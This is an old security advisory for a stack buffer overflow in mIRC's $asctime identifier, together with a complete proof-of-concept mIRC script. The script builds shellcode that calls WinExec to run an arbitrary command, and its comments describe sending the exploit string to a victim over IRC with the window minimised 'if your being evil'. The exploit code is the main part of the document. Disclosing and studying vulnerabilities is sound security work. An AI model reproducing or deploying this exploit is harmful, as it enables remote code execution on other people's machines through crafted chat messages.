Solution
Download mIRC 6.03 from http://www.mirc.com
Description
mIRC provides scripting capabilities to allow extension of the client. A flaw exists in the $asctime identifier, which is used to format Unix style time stamps. Passing a string of sufficient length to $asctime will cause a buffer overflow on the stack. This allows the execution of byte code through calling $asctime with a carefully constructed string.
The default script included with mIRC does not call $asctime at any point. However the majority of major scripts available for download call $asctime to decode data provided by the irc server. Many scripts call $asctime on data provided from other remote sources. The exploitation of this flaw therefore depends on the script installed by the victim.
Details
$asctime can be called in four forms, depending on the number and type of parameters passed:
- No parameters eg "//echo 1 $asctime hello!", this formats the current time as mIRC wishes.
- With a time format only eg "//echo 1 $asctime(hh:mm) hello!", this formats the current time using the format specified.
- With a time stamp only eg "//echo 1 $asctime(10203234) hello!", this formats the time stamp specified as mIRC wishes.
- With both a time stamp and a time format eg "//echo 1 $asctime(1020334,hh:mm)", this formats the specified timestamp as specified by the format string.
The format parameter is where the overflow occurs. If only one parameter is specified mIRC will treat it as a timestamp (as per form 3) if it only contains numeric characters, otherwise the parameter will be treated as a time format. Vulnerable scripts contain code similar too "//echo 1 uuuppz is idle since $asctime($4)", where $4 is a taken directly from the irc server or some other remote source.
If the string passed as the format specifier is longer than 388bytes the return address on the stack will be overwritten. There are a number of special characters that cannot be used in the string, the ascii codes for this are [72,84,90,100,104,109,110,115,116,121,122]. Other characters may not be possible to use depending on the circumstances.
Exploit
Below is sample mIRC script code that creates a string that causes $asctime to executed a command line. Parameters may be given. The code functions on all vulnerable versions of mIRC and all supported operating systems.
; Proof of concept Code for asctime exploit
; Author: James Martin
; Website: http://www.uuuppz.com
; Email: me@uuuppz.com
;
; Usage:
; /asctime_poc notepad c:\autoexec.nat
; /asctime_poc command.com /c echo Your have been rooted > c:\rooted.txt
; etc :)
;
;
/asctime_poc {
; Set Show State
;
; Valid Values:
; 1 - Show Normal (This will break a ctcp request)
; 2 - Minimise (If your being evil... ;))
; 3 - Maximise
set %showstate 2
; Build Coded Command String
set %command $1-
set %count 1
unset %codedcommand
:loop
set %codedcommand %codedcommand $+ $chr($calc(128+$asc($mid(%command, %count, 1))))
set %count $calc( %count + 1)
if %count <= $len(%command) goto loop
; Shell Code to Execute
;
; Detects mirc version, decodes the command string then calls winexec
set %shellcode $chr(184) $+ PPP $+ $chr(255) $+ $chr(193) $+ $chr(224) $+ $chr(8) $+ $chr(193) $+ $chr(232) $+ $chr(8) $+ f $+ $chr(139) $+ $chr(24) $+ f $+ $chr(129) $+ $chr(251) $+ $chr(220) $+ qu $+ $chr(7) $+ $chr(184) $+ $chr(250) $+ $chr(253) $+ $chr(5) $+ $chr(255) $+ $chr(235) $+ $chr(19) $+ f $+ $chr(129) $+ $chr(251) $+ $str($chr(255),2) $+ u $+ $chr(7) $+ $chr(184) $+ $chr(190) $+ $chr(187) $+ $chr(4) $+ $chr(255) $+ $chr(235) $+ $chr(5) $+ $chr(184) $+ $chr(210) $+ $chr(129) $+ $chr(4) $+ $chr(255) $+ 5PPP $+ $chr(255) $+ $chr(235) $+ $chr(30) $+ Yj $+ $chr( %showstate ) $+ QIA $+ $chr(128) $+ 9 $+ $chr(255) $+ u $+ $chr(2) $+ $chr(235) $+ $chr(5) $+ $chr(128) $+ 1 $+ $chr(128) $+ $chr(235) $+ $chr(243) $+ $chr(128) $+ 1 $+ $chr(255) $+ $chr(255) $+ $chr(208) $+ ]]] $+ $chr(139) $+ $chr(229) $+ ] $+ $chr(195) $+ $chr(232) $+ $chr(221) $+ $str($chr(255),3)
; Build Exploit String
set %exploitstring %shellcode $+ %codedcommand $+ $chr(255) $+ $str(a, $calc(300-2-$len(%command))) $+ q $+ $chr(17) $+ $chr(64)
; Run exploit string
;
; In the real world it would be more like
; /msg muppet weirdcommand %exploitstring
echo 1 $asctime(%exploitstring)
}